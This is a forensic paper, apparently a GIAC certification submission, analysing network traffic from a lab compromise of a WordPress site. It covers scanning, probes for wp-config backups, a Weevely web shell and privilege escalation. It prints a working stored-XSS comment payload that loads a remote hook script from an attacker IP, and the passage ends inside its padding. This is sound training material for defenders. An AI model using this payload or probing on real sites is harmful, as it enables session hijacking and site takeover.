A Network Analysis of a Web Server Compromise

Kiel Wadner
A Network Analysis of a Web Server
Compromise

GIAC (GFNA) Gold Certification

Author: Kiel Wadner, wadnerk@gmail.com

Advisor: Richard Carbone

Accepted: Aug 29, 2015

Abstract

Through the analysis of a known scenario, the reader will be given the opportunity to explore a website being compromised. From the initial reconnaissance to gaining root access, each step is viewed at the network level. The benefit of a known scenario is assumptions about the attackers’ reasons are avoided, allowing focus to remain on the technical details of the attack. Steps such as file extraction, timing analysis and reverse engineering an encrypted C2 channel are covered.
1. Introduction

This paper explores a fairly common scenario where an attacker compromises a web server running version 4.2 of the WordPress blogging software, which has several vulnerabilities. The scenario was planned and executed in an isolated lab environment in a way that emulates a plausible attack. The belief is that by exploring a known attack scenario, assumptions about what the attacker was thinking or doing can be avoided and the discussion can focus on the technical details. While the attack methods and analysis are not breakthrough, they are realistic and plausible.

Just like training exercises in martial arts, or drills in sports allow the individual to perfect their techniques, reviewing known scenarios allows a forensic investigator to hone their skill, and develop their abilities. With that in mind, an analysis and reverse engineering is done on the encrypted network traffic of the Weevely web shell. This remote access tool works by installing an agent on the PHP server and allowing C2 traffic over normal HTTP requests. The appendixes provide Python scripts to decode both the commands and results for version 3 this popular backdoor. With that, let’s dive in.

1.1. Attack Overview

The attack fits the description of a “smash and grab.” It was not sophisticated, but it is a frequent methodology for attackers at various skill levels. It is common for exploit kits to use compromised websites as part of their attack platform, and the actors behind those are often not simple “script kiddies.” The scenario used could fit their needs. Before presenting the scenario, two tools need to be briefly introduced.

1.1.1. WPScan

WPScan (WPScan Team, 2015) is an open-source vulnerability scanner. It is singularly focused on WordPress and uses a brute force request method to determine the version of the base install, plugins and themes. It also has the ability to do brute-force login attempts.
1.1.2. **Weevely3 Web Shell**

Weevely (Pinna, 2015) is an open-source web shell consisting of a PHP agent that is placed on the compromised system, and a Python console tool to interact with it. Version 1.1 is installed by default in Kali, but version 3, which was used in this scenario, is available from the project’s GitHub page. The changes between version 1 and 3 are quite drastic including different obfuscation methods used for network traffic.

Web shells are a type of remote access tool that is installed on a website and allows access via traditional HTTP requests (Brenner, 2013). The sophistication and available features vary widely.

1.1.3. **Walk-Through**

Although the target system was very vulnerable, only vulnerabilities published near the time of this writing (mid-2015) were used during the attack. This gives another layer of realism by avoiding older vulnerabilities that would have a higher chance of being patched in the wild. During the reconnaissance phase the website was probed with the WPScan vulnerability scanner. This identified the base WordPress version as vulnerable along with plugins. Using a stored XSS vulnerability in core WordPress comment system, the attacker set up a drive-by attack for visitors, or ideally, the administrator when approving the comment. Next, an arbitrary file upload flaw found in a plugin allowed the Weevely3 PHP web shell to be uploaded. Once connected, this web shell allowed critical system information to be retrieved. This became less important since the attacker identified that the Ubuntu-based host was vulnerable to a local privilege escalation attack. This allowed the attacker to elevate their access from the web server user to root and add an additional account with sudo and SSH access.

2. **Attack Analysis**

2.1. **High-Level Observations**

The analysis of the attack was performed on a network traffic capture between the target machine and attacker. Between the two machines there were 234 TCP conversations
spanning ~1.2MB of traffic. The actual scan and attack took less than 5 minutes of real time, but the capture reflects times where a break occurs. No UDP traffic was observed from the attacker, and with the exception of the SSH traffic at the end, all TCP connections can be accounted for supporting HTTP requests.

![Figure 1: Protocol summary from Wireshark](image)

### 2.1.1. User Agent Strings

In total, there were a total of 182 unique user agent strings observed from the attacking IP. These ranged by browser type, version, and host system type. There were two identifying pieces when looked as a whole. First, all were old versions of either operating system, or browser – in some cases by many years. Second, none of the user agent headers included significant additional information. User agent strings are often modified by what is installed and has been known to help in identification of unique visitors (Eckersley, 2010). By knowing the scenario, the diverse range of user agents stands out since only a single attacking machine was involved. It clearly was not running Linux, Windows and OSX all at the same time. In a real-life scenario it could be hypothesized that the IP was a public facing, NAT’d address hiding additional systems. However, this theory will be disproved later when looking at the timing and sequence of requests.

Kiel Wadner, wadnerk@gmail.com
2.1.2. POSTs vs. GETs

Since the target was a website it is logical that the majority of the traffic recorded during the attack were HTTP requests. For the vast majority of the requests (308) the method used was an HTTP GET, with only two using HTTP POST. The reasons for this are covered later, as is the significance of the two POSTs.

2.2. Scanning Website with WPScan

Reconnaissance began at 02:20:32 UTC with the use of WPScan. Its default behavior causes a lot of network traffic and is fairly noisy but non-intrusive. The scan output can be found at in Appendix A, but key elements are shown in Figure 2 to provide a basic idea of what was gathered.

![Figure 2: Highlights from WPScan](image)

The output indicates the base WordPress install is vulnerable to XSS attacks, as is the default theme. The plugins introduced additional weaknesses allowing arbitrary file uploads and SQL injection attacks. To be clear, WPScan has not exploited a vulnerability to verify it exists. Instead, it is based only on information requested from the server, which could be wrong or not account for mitigating factors.

Kiel Wadner, wadnerk@gmail.com
Indications of the WPScan are visible from the large number of GET requests to the target server within a short time period, with a very small delta between the requests as shown in Figure 3.

```
$ tshark -r scenario_combined.pcap http.request.method = "GET"
> -T fields -e frame.number -e frame.time_delta_displayed -e col.Info
109 0.000104800 GET /wordpress/wp-config.php.swp HTTP/1.1
111 0.000046800 GET /wordpress/wp-config.php.swo HTTP/1.1
113 0.000051900 GET /wordpress/wp-config.php_bak HTTP/1.1
115 0.000045900 GET /wordpress/wp-config.bak HTTP/1.1
117 0.000064900 GET /wordpress/wp-config.php.bak HTTP/1.1
119 0.000044900 GET /wordpress/wp-config.save HTTP/1.1
121 0.000036900 GET /wordpress/wp-config.old HTTP/1.1
123 0.000033900 GET /wordpress/wp-config.php.old HTTP/1.1
125 0.000035900 GET /wordpress/wp-config.php.orig HTTP/1.1
127 0.000034900 GET /wordpress/wp-config.orig HTTP/1.1
129 0.000030900 GET /wordpress/wp-config.php.original HTTP/1.1
131 0.000047900 GET /wordpress/wp-config.original HTTP/1.1
133 0.000054900 GET /wordpress/wp-config.txt HTTP/1.1
173 2.263692900 GET /wordpress/searchreplaceb2.php HTTP/1.1
186 1.035619900 GET /wordpress/wp-signup.php HTTP/1.1
190 0.029600000 GET /wordpress/wp-content/mu-plugins/ HTTP/1.1
192 0.001368000 GET /wordpress/wp-login.php?action=register HTTP/1.1
194 0.014447900 GET /wordpress/xmlrpc.php HTTP/1.1
196 0.014489900 GET /wordpress/wp-content/uploads/ HTTP/1.1
198 0.024651900 GET /wordpress/readme.txt HTTP/1.1
200 0.002391000 GET /wordpress/README.txt HTTP/1.1
202 0.001050000 GET /wordpress/Readme.txt HTTP/1.1
204 0.001030000 GET /wordpress/ReadMe.txt HTTP/1.1
206 0.001036000 GET /wordpress/README.TXT HTTP/1.1
208 0.001004000 GET /wordpress/readme.TXT HTTP/1.1
```

Figure 3: GET requests during part of WPScan's activity

This type of behavior often indicates automation behind the requests and can also be seen in NMap and Nessus port and vulnerability scans respectively. An additional sign that the traffic is automated is the variations in the file names requested. Note the different extension for the `wp-config` file, as well as letter casing for the `readme` text file. These are brute-force attempts to find the files and the information they contain. Even without knowing that WPScan was used, the traffic frequency points to someone scanning the system.

Kiel Wadner, wadnerk@gmail.com
Looking at the timing of the GET requests allows isolating where the scan traffic likely occurred. The \textit{tshark} command, which is part of Wireshark, in Figure 4, shows the request information and the time delta between the previously displayed packet.

At packet \#360 the time delta is almost two and half minutes. Up to that point the requests had a very fast pace. There were 49 GET requests with an average time between of 0.036 seconds. Of those requests, 32 returned a "404 Not Found" and 11 return a "200 OK" code. The remaining 6 requests were a combination of error codes. In total, this is roughly a 78\% failure rate of 49 requests in around 3.65 seconds. The pause of over two minutes after such a fast pace is a good delineation between the scan traffic and the continuation of the attacker’s actions. By looking at the successful, “200 OK”, HTTP requests it is possible to see what the attacker was able to retrieve.

\subsection{Configuration File}

One of the requests that succeed was for GET /\texttt{wordpress/wp-config.php~} that is a variation of WordPress` default configuration file. When correctly setup the raw contents of this file would not be returned because the server processes it as server-side code. However, it is common for copies to exist on the server which if requested are returned as raw text. In this case, the trailing tilde prevents the PHP processing.

Part of the information returned to the attacker was obtained by following the TCP stream. As shown in Figure 5 below, the \texttt{wp-config.php~} file includes the MySQL database username and password which is clearly problematic. The attacker may not know these are current and correct, but it does give them a place to start should they get further access to the system.

Kiel Wadner, wadnerk@gmail.com
Other valuable information included in the file are the values used for salting the authentication session keys (see Figure 6). If they are current this creates the potential for session hijacking. That attack method was not used in the scenario, so details of how this would appear are not covered.

2.2.2. Software Identification

From the WPScan output, it is known that the attacker identified vulnerable versions of software. However, pretending for a moment that information is not available, it can still be inferred what was potentially gathered. Identifying which plugins and themes are installed, including which version, is an important step for the attacker because vulnerabilities could be leveraged to compromise the website. This should be an expected action during the reconnaissance phase of an attack. There are several ways an attacker can determine this information, but it comes down to looking at the requests and responses.

The first HTTP GET request seen in the capture went to the main page of the WordPress site located in the /wordpress/ path. The HTML source code returned provides clues to what is installed on the system. For the scenario, two lines found in the head element of the page will be focused on:

Kiel Wadner, wadnerk@gmail.com
These two script elements are including JavaScript files into the page from the plugin directory. One for a website contact form, and another for a video gallery. Each includes a query string including ver=4.2 which might imply a plugin version. However, this is indicates the WordPress version they are installed on so the script can adjust its behavior based. This is an example where the controlled scenario allows an analyst to validate assumptions during the process of learning and investigating. How then could the specific versions have been determined? One possible way is seen later with a request to /wordpress/wp-content/plugins/contus-video-gallery/readme.txt. This request also supports the abnormal nature of the traffic since this file would not normally be requested when browsing the website. As before, following the TCP stream shows that a change log is included in the file and has version information. The same process is used for the contact form with a request to /wordpress/wp-content/plugins/website-contact-form-with-file-upload/readme.txt. For the theme, the version information can be found in the cascading style sheet (CSS) as shown in the following figure:
Whether an attacker uses these specific methods is not as important as knowing what information is available for them to act on. From the reconnaissance, an attacker can then select which attack methods to use. Searching an open-source exploit database such as Surcuri’s can determine what exploits are available and then plan for the attack.

2.3. Information Submitted By the Attacker

The analysis summary (see Section 2.1.2) stated that two HTTP POSTs occurred during the attack as shown in Figure 8 below. The first column is the starting frame number, and the second is the Content-Length request header, which indicates the number of bytes in the HTTP data stream. Since HTTP POSTs include information submitted by attacker, which can indicate the actions taken, they should be explored further during analysis. The first POST is URL encoded form data, which is a common way to send information to a website form. This seems likely with a file name of wp-comments-post.php. However, the size is 247 KB in ASCII characters, which is relatively long. The size of this comment makes it suspicious and worth investigating later.
The second POST request is much smaller (~1.7KB), but was identified as an octet-stream by `tshark`. When MIME types are set for binary data, the most specific one is usually selected. For example, `application/x-gzip` would specify binary data that is gzip compressed. When an MIME-type octet-stream is used it is a fallback for binary data that does not fit a more specific identification (Microsoft, 2015). This means the second post to the administrative page is binary, but not more specifically identified. This makes it worth a closer look.

2.3.1. POST /wordpress/wp-comments-post.php

The first of only two HTTP posts was sent to the `wp-comments-post.php` page, which is used for visitors to submit a comment to a story. It stands out because the Content-Length of the comment is well over the length of the screenplay for *Monty Python and the Search for the Holy Grail* which is around 59KB. Quickly scanning the hex dump gives a good hint of what is occurring. This is shown in the following figure:

```plaintext
Figure 9: Partial hex dump of large POST
```
The repetitive AAAAA does not mean the commenter was screaming, but is a likely indicator of a heap spray or in this case a buffer overflow attack. The body of the post shows better what is occurring in the following figure:

![Figure 10: Body of larger POST](image)

It should be a concern that the comment contains both HTML and JavaScript code making it a candidate for an XSS attack. By URL decoding the start of the body we can see what was actually entered as the comment in the following figure:

```
<a title='Yo onmouseover=eval(unescape(&quot;z=document.createElement(%22script%22)&quot;));eval(&quot;z.src=http://192.168.118.140:3000/hook.js&quot;;);eval(&quot;document.documentElement.appendChild(z)&quot;;) style=position:absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA